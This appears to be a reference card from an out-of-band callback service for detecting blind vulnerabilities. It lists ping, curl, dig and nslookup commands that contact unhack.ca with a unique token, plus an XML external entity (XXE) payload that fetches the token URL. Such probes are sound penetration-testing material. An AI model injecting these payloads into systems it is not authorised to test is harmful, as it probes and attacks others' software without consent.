$ ping -c1 -p 00a159321aea9363e0339e079b7ccb00 unhack.ca
 

$ curl http://unhack.ca/p/a159321aea9363e0339e079b7ccb
 

$ dig a159321aea9363e0339e079b7ccb @unhack.ca
 

$ dig a159321aea9363e0339e079b7ccb.ns.unhack.ca
 

C:\> nslookup a159321aea9363e0339e079b7ccb unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a159321aea9363e0339e079b7ccb">]>
    <foo>&xxe;</foo>